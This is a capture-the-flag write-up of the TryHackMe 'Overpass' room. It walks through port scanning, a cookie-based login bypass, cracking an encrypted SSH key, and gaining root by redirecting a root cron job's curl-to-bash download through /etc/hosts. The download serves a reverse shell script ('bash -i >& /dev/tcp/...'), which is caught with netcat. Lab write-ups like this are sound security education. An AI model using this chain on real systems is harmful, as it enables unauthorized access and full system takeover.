Overpass

January 7, 20235 minutes
https://tryhackme.com/room/overpass
Attacker IP = 10.10.10.10
Target IP = 10.10.170.40
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
❯ ping -c 1 10.10.170.40
PING 10.10.170.40 (10.10.170.40) 56(84) bytes of data.
64 bytes from 10.10.170.40: icmp_seq=1 ttl=63 time=218 ms
--- 10.10.170.40 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 217.508/217.508/217.508/0.000 ms
In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux
Port scan (nmap)
Now we start with a port scan
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.170.40 -oG allPorts
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| -sS –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip host discovery |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.170.40
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts
❯ nmap -p 22,80 -sC -sV 10.10.170.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-07 20:15 CET
Nmap scan report for 10.10.170.40
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 37968598d1009c1463d9b03475b1f957 (RSA)
| 256 5375fac065daddb1e8dd40b8f6823924 (ECDSA)
|_ 256 1c4ada1f36546da6c61700272e67759c (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Web
With whatweb we can get more information about the website:
❯ whatweb 10.10.170.40
http://10.10.170.40 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.10.170.40], Script, Title[Overpass], X-UA-Compatible[IE=edge]
When we open the website, the first thing we find is this page

Looking for subdirectories
With wfuzz we are going to look for subdirectories using the wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000069: 301 0 L 0 W 0 Ch "downloads"
000000039: 301 0 L 0 W 0 Ch "img"
000000156: 301 0 L 0 W 0 Ch "aboutus"
000000259: 301 2 L 3 W 42 Ch "admin"
000000550: 301 0 L 0 W 0 Ch "css"
Foothold
Inside /admin there is a login panel. Looking at the source of /admin, we can see there is a login.js
<script src="/login.js"></script>
Which contains the following:
async function postData(url = '', data = {}) {
// Default options are marked with *
const response = await fetch(url, {
method: 'POST', // *GET, POST, PUT, DELETE, etc.
cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
credentials: 'same-origin', // include, *same-origin, omit
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
redirect: 'follow', // manual, *follow, error
referrerPolicy: 'no-referrer', // no-referrer, *client
body: encodeFormData(data) // body data type must match "Content-Type" header
});
return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
return Object.keys(data)
.map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
.join('&');
}
function onLoad() {
document.querySelector("#loginForm").addEventListener("submit", function (event) {
//on pressing enter
event.preventDefault()
login()
});
}
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
What it does is: it checks the server’s response to see whether it contains the string “Incorrect credentials”, and if it doesn’t, the script sets a cookie called “SessionToken” with the value of the server’s response and redirects the user to the “/admin” page.
So what we can do is create a cookie called “SessionToken” with a random value. After reloading, we get in

What we see after reloading the page is an RSA private key.
We save that private key in a file called id_rsa
First we set its permissions:
chmod 600 id_rsa
The RSA private key says it is encrypted.
To get the password, we extract the hash with ssh2john and then try to crack it with john and a wordlist
ssh2john id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
We have the password
Now we connect over SSH as james with the id_rsa
ssh -i id_rsa [email protected]
Privilege escalation
With cat /etc/crontab
We see that root runs a curl to overpass.thm/downloads/src/buildscript.sh and then runs it with bash.
We have permission to edit /etc/hosts
We add the following to /etc/hosts
10.10.10.10 overpass.thm
Then, on our machine, we create the folders and the file from the URL in the crontab
❯ cat downloads/src/buildscript.sh
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: downloads/src/buildscript.sh
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/bash
2 │
3 │ bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"
───────┴─────────────────────────────────────────────────────────────────────────────────────────
We start a Python server
sudo python3 -m http.server 80
And finally we listen on port 443 with netcat
nc -nlvp 443
We wait a bit and we are root